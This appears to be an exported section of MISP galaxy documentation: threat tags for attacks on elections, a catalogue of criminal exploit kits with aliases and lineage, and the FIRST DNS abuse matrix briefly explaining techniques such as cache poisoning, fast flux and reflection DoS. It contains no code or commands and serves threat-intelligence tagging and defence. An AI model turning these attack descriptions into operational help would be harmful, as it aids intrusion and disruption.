The tag is: misp-galaxy:guidelines="DoS or overload of voter registration system, suppressing voters"

Table 1549. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Hacking candidate laptops or email accounts

Hacking candidate laptops or email accounts

The tag is: misp-galaxy:guidelines="Hacking candidate laptops or email accounts"

<table>
<thead>
<tr>
<th>Table 1550. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

Hacking campaign websites (defacement, DoS)

Hacking campaign websites (defacement, DoS)

The tag is: misp-galaxy:guidelines="Hacking campaign websites (defacement, DoS)"

<table>
<thead>
<tr>
<th>Table 1551. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

Misconfiguration of a website

Misconfiguration of a website

The tag is: misp-galaxy:guidelines="Misconfiguration of a website"

<table>
<thead>
<tr>
<th>Table 1552. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

Leak of confidential information

Leak of confidential information

The tag is: misp-galaxy:guidelines="Leak of confidential information"

<table>
<thead>
<tr>
<th>Table 1553. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>
Hacking/misconfiguration of government servers, communication networks, or endpoints

The tag is: `misp-galaxy:guidelines="Hacking/misconfiguration of government servers, communication networks, or endpoints"`

Table 1554. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Hacking campaign websites, spreading misinformation on the election process, registered parties/candidates, or results

Hacking government websites, spreading misinformation on the election process, registered parties/candidates, or results

The tag is: `misp-galaxy:guidelines="Hacking campaign websites, spreading misinformation on the election process, registered parties/candidates, or results"`

Table 1555. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

DoS or overload of government websites

DoS or overload of government websites

The tag is: `misp-galaxy:guidelines="DoS or overload of government websites"`

Table 1556. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Tampering or DoS of voting and/or vote confidentiality during or after the elections

Tampering or DoS of voting and/or vote confidentiality during or after the elections
The tag is: misp-galaxy:guidelines="Tampering or DoS of voting and/or vote confidentiality during or after the elections"

Table 1557. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Software bug altering results**

Software bug altering results

The tag is: misp-galaxy:guidelines="Software bug altering results"

Table 1558. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Tampering with logs/journals**

Tampering with logs/journals

The tag is: misp-galaxy:guidelines="Tampering with logs/journals"

Table 1559. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Breach of voters privacy during the casting of votes**

Breach of voters privacy during the casting of votes

The tag is: misp-galaxy:guidelines="Breach of voters privacy during the casting of votes"

Table 1560. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Tampering, DoS or overload of the systems used for counting or aggregating results

Tampering, DoS or overload of the systems used for counting or aggregating results

The tag is: misp-galaxy:guidelines="Tampering, DoS or overload of the systems used for counting or aggregating results"

Table 1561. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Tampering or DoS of communication links used to transfer (interim) results

Tampering or DoS of communication links used to transfer (interim) results

The tag is: misp-galaxy:guidelines="Tampering or DoS of communication links used to transfer (interim) results"

Table 1562. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Tampering with supply chain involved in the movement or transfer data

Tampering with supply chain involved in the movement or transfer data

The tag is: misp-galaxy:guidelines="Tampering with supply chain involved in the movement or transfer data"

Table 1563. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Hacking of internal systems used by media or press

Hacking of internal systems used by media or press

The tag is: misp-galaxy:guidelines="Hacking of internal systems used by media or press"
Tampering, DoS, or overload of media communication links

Tampering, DoS, or overload of media communication links

The tag is: misp-galaxy:guidelines="Tampering, DoS, or overload of media communication links"

Defacement, DoS or overload of websites or other systems used for publication of the results

Defacement, DoS or overload of websites or other systems used for publication of the results

The tag is: misp-galaxy:guidelines="Defacement, DoS or overload of websites or other systems used for publication of the results"

Exploit-Kit

Exploit-Kit is an enumeration of some exploitation kits used by adversaries. The list includes document, browser and router exploit kits. It's not meant to be totally exhaustive but aim at covering the most seen in the past 5 years.

Exploit-Kit is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Kafeine - Will Metcalf - KahuSecurity
**Astrum**

Astrum Exploit Kit is a private Exploit Kit used in massive scale malvertising campaigns. It’s notable by its use of Steganography.

The tag is: `misp-galaxy:exploit-kit="Astrum"`

Astrum is also known as:

- Stegano EK

**Table 1567. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**Underminer**

Underminer EK is an exploit kit that seems to be used privately against users in Asia. Functionalities: browser profiling and filtering, preventing of client revisits, URL randomization, and asymmetric encryption of payloads.

The tag is: `misp-galaxy:exploit-kit="Underminer"`

Underminer is also known as:

- Underminer EK

**Table 1568. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**Fallout**

Fallout Exploit Kit appeared at the end of August 2018 as an updated Nuclear Pack featuring current exploits seen in competing Exploit Kit.

The tag is: `misp-galaxy:exploit-kit="Fallout"`

Fallout is also known as:

- Fallout

View relationships graph
Fallout has relationships with:

- dropped: misp-galaxy:ransomware="GandCrab" with estimative-language:likelihood-probability="almost-certain"

### Table 1569. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

### Bingo

Bingo EK is the name chosen by the defense for a Fiesta-ish EK first spotted in March 2017 and targeting at that time mostly Russia.

The tag is: misp-galaxy:exploit-kit="Bingo"

### Terror EK

Terror EK is built on Hunter, Sundown and RIG EK code

The tag is: misp-galaxy:exploit-kit="Terror EK"

Terror EK is also known as:

- Blaze EK
- Neptune EK

### DealersChoice

DealersChoice is a Flash Player Exploit platform triggered by RTF.

DealersChoice is a platform that generates malicious documents containing embedded Adobe Flash files. Palo Alto Network researchers analyzed two variants—variant A, which is a standalone variant including Flash exploit code packaged with a payload, and variant B, which is a modular variant that loads exploit code on demand. This new component appeared in 2016 and is still in use.

The tag is: misp-galaxy:exploit-kit="DealersChoice"
DealersChoice is also known as:

- Sednit RTF EK

Table 1571. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://researchcenter.paloaltonetworks.com/2016/10/unit42-dealerschoice-sofacys-flash-player-exploit-platform/">http://researchcenter.paloaltonetworks.com/2016/10/unit42-dealerschoice-sofacys-flash-player-exploit-platform/</a></td>
</tr>
</tbody>
</table>

DNSChanger

DNSChanger Exploit Kit is an exploit kit targeting Routers via the browser

The tag is: `misp-galaxy:exploit-kit="DNSChanger"`

DNSChanger is also known as:

- RouterEK

Table 1572. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://malware.dontneedcoffee.com/2015/05/an-exploit-kit-dedicated-to-csrft.html">http://malware.dontneedcoffee.com/2015/05/an-exploit-kit-dedicated-to-csrft.html</a></td>
</tr>
</tbody>
</table>

Novidade

Novidade Exploit Kit is an exploit kit targeting Routers via the browser

The tag is: `misp-galaxy:exploit-kit="Novidade"`

Novidade is also known as:

- DNSGhost

Table 1573. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Disdain

Disdain EK has been introduced on underground forum on 2017-08-07. The panel is stolen from Sundown, the pattern are Terror alike and the obfuscation reminds Nebula.

The tag is: misp-galaxy:exploit-kit="Disdain"

Table 1574. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Kaixin

Kaixin is an exploit kit mainly seen behind compromised website in Asia.

The tag is: misp-galaxy:exploit-kit="Kaixin"

Kaixin is also known as:

• CK vip

Table 1575. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.kahusecurity.com/2013/deobfuscating-the-ck-exploit-kit/">http://www.kahusecurity.com/2013/deobfuscating-the-ck-exploit-kit/</a></td>
</tr>
</tbody>
</table>

Magnitude

Magnitude EK

The tag is: misp-galaxy:exploit-kit="Magnitude"

Magnitude is also known as:

• Popads EK
• TopExp
• Magniber
• Magniber EK

Table 1576. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://malware.dontneedcoffee.com/2013/10/Magnitude.html">http://malware.dontneedcoffee.com/2013/10/Magnitude.html</a></td>
</tr>
</tbody>
</table>
MWI

Microsoft Word Intruder is an exploit kit focused on Word and embedded flash exploits. The author wants to avoid their customer to use it in mass spam campaign, so it's most often connected to semi-targeted attacks.

The tag is: `misp-galaxy:exploit-kit="MWI"`

Table 1577. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2015/04/a_new_word_document.html">https://www.fireeye.com/blog/threat-research/2015/04/a_new_word_document.html</a></td>
</tr>
</tbody>
</table>

ThreadKit

ThreadKit is the name given to a widely used Microsoft Office document exploit builder kit that appeared in June 2017.

The tag is: `misp-galaxy:exploit-kit="ThreadKit"`

Table 1578. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

VenomKit

VenomKit is the name given to a kit sold since april 2017 as "Word 1day exploit builder" by user badbullzvenom. Author allows only use in targeted campaign. Is used for instance by the "Cobalt Gang".

The tag is: `misp-galaxy:exploit-kit="VenomKit"`

VenomKit is also known as:

- Venom
**Taurus Builder**

Taurus Builder is a tool used to generate malicious MS Word documents that contain macros. The kit is advertised on forums by the user "badbullzvenom".

The tag is: `misp-galaxy:exploit-kit="Taurus Builder"`

**RIG**

RIG is an exploit kit that takes its source in Infinity EK itself an evolution of Redkit. It became dominant after the fall of Angler, Nuclear Pack and the end of public access to Neutrino. RIG-v is the name given to RIG 4 when it was only accessible by "vip" customers and when RIG 3 was still in use.

The tag is: `misp-galaxy:exploit-kit="RIG"`

RIG is also known as:

- RIG 3
- RIG-v
- RIG 4
- Meadgive

*Table 1580. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Spelevo**

Spelevo is an exploit kit that appeared at the end of February 2019 and could be an evolution of SPL EK

The tag is: `misp-galaxy:exploit-kit="Spelevo"`

*Table 1581. Table References*
Sednit EK

Sednit EK is the exploit kit used by APT28

The tag is: `misp-galaxy:exploit-kit="Sednit EK"`

Sednit EK is also known as:

- SedKit

Table 1582. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Sundown-P

Sundown-P/Sundown-Pirate is a rip of Sundown seen used in a private way (One group using it only) - First spotted at the end of June 2017, branded as CaptainBlack in August 2017

The tag is: `misp-galaxy:exploit-kit="Sundown-P"`

Sundown-P is also known as:

- Sundown-Pirate
- CaptainBlack

Table 1583. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Bizarro Sundown

Bizarro Sundown appears to be a fork of Sundown with added anti-analysis features

The tag is: `misp-galaxy:exploit-kit="Bizarro Sundown"`

Bizarro Sundown is also known as:

- Sundown-b

Table 1584. Table References
**Hunter**

Hunter EK is an evolution of 3Ros EK

The tag is: `misp-galaxy:exploit-kit="Hunter"`

Hunter is also known as:

- 3ROS Exploit Kit

View relationships graph

Hunter has relationships with:

- similar: `misp-galaxy:tool="Tinba" with estimative-language:likelihood-probability="likely"`

*Table 1585. Table References*

**GreenFlash Sundown**

GreenFlash Sundown is a variation of Bizarro Sundown without landing

The tag is: `misp-galaxy:exploit-kit="GreenFlash Sundown"`

GreenFlash Sundown is also known as:

- Sundown-GF

*Table 1586. Table References*

**Angler**

The Angler Exploit Kit has been the most popular and evolved exploit kit from 2014 to middle of 2016. There was several variation. The historical "indexm" variant was used to spread Lurk. A vip version used notabily to spread Poweliks, the "standard" commercial version, and a declinaison
tied to load selling (mostly bankers) that can be associated to EmpirePPC

The tag is: `misp-galaxy:exploit-kit="Angler"`

Angler is also known as:

- XXX
- AEK
- Axpergle

Table 1587. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://malware.dontneedcoffee.com/2015/12/xxx-is-angler-ek.html">http://malware.dontneedcoffee.com/2015/12/xxx-is-angler-ek.html</a></td>
</tr>
<tr>
<td><a href="http://malware.dontneedcoffee.com/2016/06/is-it-end-of-angler.html">http://malware.dontneedcoffee.com/2016/06/is-it-end-of-angler.html</a></td>
</tr>
</tbody>
</table>

**Archie**

Archie EK

The tag is: `misp-galaxy:exploit-kit="Archie"`

Table 1588. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.alienvault.com/blogs/labs-research/archie-just-another-ek">https://www.alienvault.com/blogs/labs-research/archie-just-another-ek</a></td>
</tr>
</tbody>
</table>

**BlackHole**

The BlackHole Exploit Kit has been the most popular exploit kit from 2011 to 2013. Its activity stopped with Paunch’s arrest (all activity since then is anecdotal and based on an old leak)

The tag is: `misp-galaxy:exploit-kit="BlackHole"`

BlackHole is also known as:

- BHEK

View relationships graph

BlackHole has relationships with:

- similar: `misp-galaxy:rat="BlackHole"` with estimative-language:likelihood-probability="likely"

Table 1589. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Bleeding Life

Bleeding Life is an exploit kit that became open source with its version 2

The tag is: misp-galaxy:exploit-kit="Bleeding Life"

Bleeding Life is also known as:

- BL
- BL2

Table 1590. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Cool

The Cool Exploit Kit was a kind of BlackHole VIP in 2012/2013

The tag is: misp-galaxy:exploit-kit="Cool"

Cool is also known as:

- CEK
- Styxy Cool

Table 1591. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://malware.dontneedcoffee.com/2012/10/newcoolek.html">http://malware.dontneedcoffee.com/2012/10/newcoolek.html</a></td>
</tr>
<tr>
<td><a href="http://malware.dontneedcoffee.com/2013/07/a-styxy-cool-ek.html">http://malware.dontneedcoffee.com/2013/07/a-styxy-cool-ek.html</a></td>
</tr>
<tr>
<td><a href="http://blog.trendmicro.com/trendlabs-security-intelligence/styx-exploit-pack-how-it-works/">http://blog.trendmicro.com/trendlabs-security-intelligence/styx-exploit-pack-how-it-works/</a></td>
</tr>
</tbody>
</table>

Fiesta

Fiesta Exploit Kit

The tag is: misp-galaxy:exploit-kit="Fiesta"

Fiesta is also known as:

- NeoSploit
- Fiexp
Empire

The Empire Pack is a variation of RIG operated by a load seller. It's being fed by many traffic actors. The tag is: `misp-galaxy:exploit-kit="Empire"`

Empire is also known as:

• RIG-E

FlashPack

FlashPack EK got multiple fork. The most common variant seen was the standalone Flash version. The tag is: `misp-galaxy:exploit-kit="FlashPack"`

FlashPack is also known as:

• FlashEK
• SafePack
• CritXPack
• Vintage Pack
Glazunov

Glazunov is an exploit kit mainly seen behind compromised website in 2012 and 2013. Glazunov compromise is likely the ancestor activity of what became EITest in July 2014. Sibhost and Flimkit later shown similarities with this Exploit Kit

The tag is: *misp-galaxy:exploit-kit="Glazunov"

<table>
<thead>
<tr>
<th>Table 1595. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

GrandSoft

GrandSoft Exploit Kit was a quite common exploit kit used in 2012/2013. Disappeared between march 2014 and September 2017

The tag is: *misp-galaxy:exploit-kit="GrandSoft"

GrandSoft is also known as:

- StampEK
- SofosFO

<table>
<thead>
<tr>
<th>Table 1596. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="http://malware.dontneedcoffee.com/2013/09/FinallyGrandSoft.html">http://malware.dontneedcoffee.com/2013/09/FinallyGrandSoft.html</a></td>
</tr>
<tr>
<td><a href="http://malware.dontneedcoffee.com/2012/10/neosploit-now-showing-bh-ek-20-like.html">http://malware.dontneedcoffee.com/2012/10/neosploit-now-showing-bh-ek-20-like.html</a></td>
</tr>
</tbody>
</table>

HanJuan

Hanjuan EK was a one actor fed variation of Angler EK used in evolved malvertising chain targeting USA. It has been using a 0day (CVE-2015-0313) from beginning of December 2014 till beginning of February 2015

The tag is: *misp-galaxy:exploit-kit="HanJuan"

<table>
<thead>
<tr>
<th>Table 1597. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="http://www.malwaresigs.com/2013/10/14/unknown-ek/">http://www.malwaresigs.com/2013/10/14/unknown-ek/</a></td>
</tr>
</tbody>
</table>
**Himan**

Himan Exploit Kit

The tag is: `misp-galaxy:exploit-kit="Himan"`

Himan is also known as:

- High Load

*Table 1598. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Impact**

Impact EK

The tag is: `misp-galaxy:exploit-kit="Impact"`

*Table 1599. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Infinity**

Infinity is an evolution of Redkit

The tag is: `misp-galaxy:exploit-kit="Infinity"`

Infinity is also known as:

- Redkit v2.0
- Goon

*Table 1600. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Lightsout**

Lightsout Exploit Kit has been used in Watering Hole attack performed by the APT Group havex

The tag is: `misp-galaxy:exploit-kit="Lightsout"`

*Table 1601. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Nebula**

Nebula Exploit Kit has been built on Sundown source and features an internal TDS

The tag is: `misp-galaxy:exploit-kit="Nebula"`

*Table 1602. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Neutrino**

Neutrino Exploit Kit has been one of the major exploit kit from its launch in 2013 till september 2016 when it become private (defense name for this variation is Neutrino-v). This EK vanished from march 2014 till november 2014.

The tag is: `misp-galaxy:exploit-kit="Neutrino"`

Neutrino is also known as:

- Job314
- Neutrino Rebooted
- Neutrino-v

*View relationships graph*

Neutrino has relationships with:

- similar: `misp-galaxy:malpedia="Neutrino"` with `estimative-language:likelihood-probability="likely"`

*Table 1603. Table References*
Niteris

Niteris was used mainly to target Russian.

The tag is: `misp-galaxy:exploit-kit="Niteris"`

Niteris is also known as:

- CottonCastle

Nuclear

The Nuclear Pack appeared in 2009 and has been one of the longer living ones. Spartan EK was a landing less variation of Nuclear Pack

The tag is: `misp-galaxy:exploit-kit="Nuclear"`

Nuclear is also known as:

- NEK
- Nuclear Pack
- Spartan
- Neclu

Phoenix

Phoenix Exploit Kit

The tag is: `misp-galaxy:exploit-kit="Phoenix"`

Phoenix is also known as:
### Private Exploit Pack

Private Exploit Pack

The tag is: `misp-galaxy:exploit-kit="Private Exploit Pack"`

Private Exploit Pack is also known as:

- **PEP**

### Redkit

Redkit has been a major exploit kit in 2012. One of its specific features was to allow its access against a share of a percentage of the customer’s traffic

The tag is: `misp-galaxy:exploit-kit="Redkit"`

### Sakura

Sakura Exploit Kit appeared in 2012 and was adopted by several big actor

The tag is: `misp-galaxy:exploit-kit="Sakura"`
**SPL**

SPL exploit kit was mainly seen in 2012/2013 most often associated with ZeroAccess and Scareware/FakeAV

The tag is: `misp-galaxy:exploit-kit="SPL"`

SPL is also known as:

- SPL_Data
- SPLNet
- SPL2

*Table 1610. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.malwaresigs.com/2012/12/05/spl-exploit-kit/">http://www.malwaresigs.com/2012/12/05/spl-exploit-kit/</a></td>
</tr>
</tbody>
</table>

**Sundown**

Sundown Exploit Kit is mainly built out of stolen code from other exploit kits

The tag is: `misp-galaxy:exploit-kit="Sundown"`

Sundown is also known as:

- Beps
- Xer
- Beta

*Table 1611. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Sweet-Orange**

Sweet Orange

The tag is: `misp-galaxy:exploit-kit="Sweet-Orange"`

Sweet-Orange is also known as:
• SWO
• Anogre

Table 1612. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Styx

Styx Exploit Kit

The tag is: `misp-galaxy:exploit-kit="Styx"`

Table 1613. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://malware.dontneedcoffee.com/2013/05/inside-styx-2013-05.html">http://malware.dontneedcoffee.com/2013/05/inside-styx-2013-05.html</a></td>
</tr>
</tbody>
</table>

WhiteHole

WhiteHole Exploit Kit appeared in January 2013 in the tail of the CVE-2013-0422

The tag is: `misp-galaxy:exploit-kit="WhiteHole"`

Table 1614. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://malware.dontneedcoffee.com/2013/02/briefly-wave-whitehole-exploit-kit-hello.html">http://malware.dontneedcoffee.com/2013/02/briefly-wave-whitehole-exploit-kit-hello.html</a></td>
</tr>
</tbody>
</table>

Unknown

Unknown Exploit Kit. This is a place holder for any undocumented Exploit Kit. If you use this tag, we will be more than happy to give the associated EK a deep look.

The tag is: `misp-galaxy:exploit-kit="Unknown"`

Table 1615. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/kafeine">https://twitter.com/kafeine</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/node5">https://twitter.com/node5</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/kahusecurity">https://twitter.com/kahusecurity</a></td>
</tr>
</tbody>
</table>
SpelevoEK

The Spelevo exploit kit seems to have similarities to SPL EK, which is a different exploit kit.

The tag is: `misp-galaxy:exploit-kit="SpelevoEK"`

Table 1616. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://cyberwarzone.com/what-is-the-spelevo-exploit-kit/">https://cyberwarzone.com/what-is-the-spelevo-exploit-kit/</a></td>
</tr>
</tbody>
</table>

FIRST DNS Abuse Techniques Matrix

The Domain Name System (DNS) is a critical part of the Internet, including mapping domain names to IP addresses. Malicious threat actors use domain names, their corresponding technical resources, and other parts of the DNS infrastructure, including its protocols, for their malicious cyber operations. CERTs are confronted with reported DNS abuse on a continuous basis, and rely heavily on DNS analysis and infrastructure to protect their constituencies. Understanding the international customary norms applicable for detecting and mitigating DNS abuse from the perspective of the global incident response community is critical for the open Internet’s stability, security and resiliency. See also [https://www.first.org/global/sigs/dns/](https://www.first.org/global/sigs/dns/) for more information.

FIRST DNS Abuse Techniques Matrix is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

FIRST.org - Andrey Meshkov (AdGuard) - Ángel González (INCIBE-CERT) - Angela Matlapeng (bwCSIRT) - Benedict Addis (Shadowserver) - Brett Carr (Nominet) - Carlos Alvarez (ICANN; founding member) - David Ruefenacht (Infoguard) - Gabriel Andrews (FBI) - John Todd (Quad9; current co-chair of DNS Abuse SIG) - Jonathan Matkowsky (RiskIQ / Microsoft; former co-chair) - Jonathan Spring (CISA; current co-chair of DNS Abuse SIG) - Mark Henderson (IRS) - Mark Svancarek (Microsoft) - Merike Kaeo (Double Shot Security) - Michael Hausding (SWITCH-CERT; former co-chair, current FIRST board member) - Peter Lowe (DNSFilter; current co-chair of DNS Abuse SIG) - Shoko Nakai (JPCERT/CC) - Swapneel Patnekar (Shreshta IT) - Trey Darley (FIRST board; founding member)

DGAs

DGAs - Domain Generation Algorithm

The tag is: `misp-galaxy:first-dns="DGAs"`

Table 1617. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1568/002/">https://attack.mitre.org/techniques/T1568/002/</a></td>
</tr>
</tbody>
</table>
Domain name compromise

The wrongfully taking control of a domain name from the rightful name holder. Compromised domains can be used for different kinds of malicious activity like sending spam or phishing, for distributing malware or as botnet command and control.

The tag is: misp-galaxy:first-dns="Domain name compromise"

Table 1618. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.icann.org/groups/ssac/documents/sac-007-en">https://www.icann.org/groups/ssac/documents/sac-007-en</a></td>
</tr>
</tbody>
</table>

Lame delegations

Lame delegations occur as a result of expired nameserver domains allowing attackers to take control of the domain resolution by re-registering this expired nameserver domain.

The tag is: misp-galaxy:first-dns="Lame delegations"

Table 1619. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.apnic.net/2021/03/16/the-prevalence-persistence-perils-of-lame-nameservers/">https://blog.apnic.net/2021/03/16/the-prevalence-persistence-perils-of-lame-nameservers/</a></td>
</tr>
</tbody>
</table>

DNS cache poisoning

DNS cache poisoning - also known as DNS spoofing, is a type of cyber attack in which an attacker corrupts a DNS resolver's cache by injecting false DNS records, causing the resolver to records controlled by the attacker.

The tag is: misp-galaxy:first-dns="DNS cache poisoning"

Table 1620. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://capec.mitre.org/data/definitions/142.html">https://capec.mitre.org/data/definitions/142.html</a></td>
</tr>
</tbody>
</table>

DNS rebinding

DNS rebinding - a type of attack where a malicious website directs a client to a local network address, allowing the attacker to bypass the same-origin policy and gain access to the victim's local resources.

The tag is: misp-galaxy:first-dns="DNS rebinding"

Table 1621. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
DNS server compromise

Attacker gains administrative privileges on an open recursive DNS server, authoritative DNS server, organizational recursive DNS server, or ISP-operated recursive DNS server.

The tag is: misp-galaxy:first-dns="DNS server compromise"

Stub resolver hijacking

The attacker compromises the Operating System of a computer or a phone with malicious code that intercepts and responds to DNS queries with rogue or malicious responses.

The tag is: misp-galaxy:first-dns="Stub resolver hijacking"

Local recursive resolver hijacking

Consumer Premise Equipment (CPE), such as home routers, often provide DNS recursion on the local network. If the CPE device is compromised, the attacker can change the recursive resolver behavior; for example, by changing responses.

The tag is: misp-galaxy:first-dns="Local recursive resolver hijacking"

On-path DNS attack

Attackers intercept communication between a user and a DNS server and provide different destination IP addresses pointing to malicious sites.

The tag is: misp-galaxy:first-dns="On-path DNS attack"

Table 1622. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.imperva.com/learn/application-security/dns-hijacking-redirection/">https://www.imperva.com/learn/application-security/dns-hijacking-redirection/</a></td>
<td></td>
</tr>
</tbody>
</table>

DoS against the DNS

Multiple systems sending malicious traffic to a target at the same time.

The tag is: misp-galaxy:first-dns="DoS against the DNS"

DNS as a vector for DoS

Adversaries may attempt to cause a denial of service by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly
termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Two prominent protocols that have enabled Reflection Amplification Floods are DNS and NTP through the use of several others in the wild have been documented. These Reflection and Amplification Floods can be directed against components of the DNS, like authoritative nameservers, rendering them unresponsive.

The tag is: *misp-galaxy:first-dns="DNS as a vector for DoS"

**Dynamic DNS resolution**

Dynamic DNS resolution (as obfuscation technique) - Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware’s communications. These calculations can be used to dynamically adjust parameters such as the domain name IP address or port number the malware uses for command and control.

The tag is: *misp-galaxy:first-dns="Dynamic DNS resolution"

**Dynamic DNS resolution: Fast flux**

Dynamic DNS resolution: Fast flux (as obfuscation technique) - Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name with multiple IP addresses assigned to it which are swapped with high frequency using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.

The tag is: *misp-galaxy:first-dns="Dynamic DNS resolution: Fast flux"

**Infiltration and exfiltration via the DNS**

Exfiltration via the DNS requires a delegated domain or, if the domain does not exist in the public DNS, the operation of a resolver preloaded with that domain’s zone file information and configured
to receive and respond to the queries sent by the compromised devices.

The tag is: \textit{misp-galaxy:first-dns=}'Infiltration and exfiltration via the DNS''

**Malicious registration of (effective) second level domains**

For example, before attacking a victim, adversaries purchase or register domains from an ICANN-accredited registrar that can be used during targeting. See also CAPEC-630.

The tag is: \textit{misp-galaxy:first-dns=}'Malicious registration of (effective) second level domains''

\textit{Table 1626. Table References}

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://capec.mitre.org/data/definitions/630.html">https://capec.mitre.org/data/definitions/630.html</a></td>
</tr>
</tbody>
</table>

**Creation of malicious subdomains under dynamic DNS providers**

Before attacking a victim, adversaries purchase or create domains from an entity other than a registrar or registry that provides subdomains under domains they own and control. S

The tag is: \textit{misp-galaxy:first-dns=}'Creation of malicious subdomains under dynamic DNS providers''

\textit{Table 1627. Table References}

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Compromise of a non-DNS server to conduct abuse**

- Internet attack infrastructure is a broad category, and this covers any non-DNS server. Many compromised servers, such as web servers or mail servers, interact with the DNS or may be instrumental in conducting DNS abuse. For example, compromised mail servers are one technique that may be used to send phishing emails.

The tag is: \textit{misp-galaxy:first-dns=}'Compromise of a non-DNS server to conduct abuse''

